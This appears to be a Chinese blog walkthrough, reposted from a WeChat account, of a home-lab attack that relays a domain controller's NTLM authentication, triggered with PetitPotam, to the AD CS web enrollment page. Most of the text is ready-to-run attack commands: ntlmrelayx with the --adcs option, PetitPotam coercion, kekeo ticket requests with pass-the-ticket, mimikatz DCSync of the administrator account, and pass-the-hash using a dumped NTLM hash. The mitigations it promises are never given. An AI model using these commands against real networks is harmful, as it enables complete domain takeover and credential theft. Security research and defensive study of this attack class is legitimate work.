概述
滥用 AD CS 角色的凭证中继
任何具有内部网络访问权限的攻击者(例如网络中的网络钓鱼客户端或恶意植入设备)都可以在没有任何初始凭据的情况下接管整个 Active Directory 域。当前在默认配置中,域控制器和 AD CS 容易受到这种攻击。
当 PetitPotam 被利用并将 NTLM 凭据中继到 Active Directory 证书服务时,攻击者无需事先对域进行任何身份验证即可获得域管理员权限。本文将详细介绍漏洞利用所需的步骤,然后介绍 PetitPotam 的缓解措施。
攻击者可以使用 PetitPotam 触发域控制器以将 NTLM 凭据中继到所选主机。然后可以将域控制器的 NTLM 凭据中继到 Active Directory 证书服务 (AD CS) Web 注册页面,并且可以注册 DC 证书。然后可以使用此证书来请求 TGT(票证授予票证)并通过 Pass-The-Ticket 破坏整个域。
AD CS(Active Directory 证书服务)特别有趣,因为它提供默认接受基于 NTLM 的身份验证的角色服务。这些服务具体包括证书颁发机构 Web 注册和证书注册 Web 服务。
形成原因
由于ADCS的http证书接⼝没有启⽤NTLM中继保护,因此其易受NTLM Relay攻击。⽽且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议⽆法使⽤。因此,攻击者可以利⽤NTLM Relay攻击ADCS
证书服务。
我的环境
角色 | 系统版本 | 计算机名 | IP地址 | 域 |
---|---|---|---|---|
Attacker | MAC | 192.168.2.149 | ||
DC | Windows Server 2016 | DC | 10.1.1.14 | qin9 |
SDC(AD CS服务) | Windows Server 2016 | DCFU |
10.1.1.19 | qin9 |
这个一台辅DC,安装了AD CS服务
查看ADCS服务
Authorization HTTP 标头明确只允许通过 NTLM 身份验证
访问
http://10.1.1.19/certsrv/certfnsh.asp
利用
定位 AD CS 服务器
certutil -config - -ping
ntlmrelayx监听
python3 ntlmrelayx.py -t http://10.1.1.19/certsrv/certfnsh.asp -smb2support --adcs -debug --template KerberosAuthentication
使⽤脚本触发辅助域控回连我们的攻击机器,这⾥可以使⽤最新的Petitpotam,也可以使⽤printerbug,还有mimikatz的efs
python3 PetitPotam.py 192.168.2.149 10.1.1.14
获取到base64编码的证书数据
我们先尝试dump出 y域管 hash
失败
然后kekeo导入base64编码的证书,生成票据并且注入
tgt::ask /pfx:<base64 cert from relay> /user:dc-101$ /domain:spencer.local /ptt
然后查看计算机的票据
klist
然后继续 🥝
lsadump::dcsync /domain:qin9.com /user:administrator
借助票据
成功 dump 域管 administrator的 hash
我们来服务一下DC
PTH一下DC
sekurlsa::pth /user:administrator /domain:qin9.com /ntlm:257691c9a9375e50e6e37339c9a5d0dc
ok,成功拿下DC
没有shell???
好吧,这下接管整个域了吧
原文始发于微信公众号(qin9):NTLM Relay attack ADCS 然后 PTT 接管域控
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论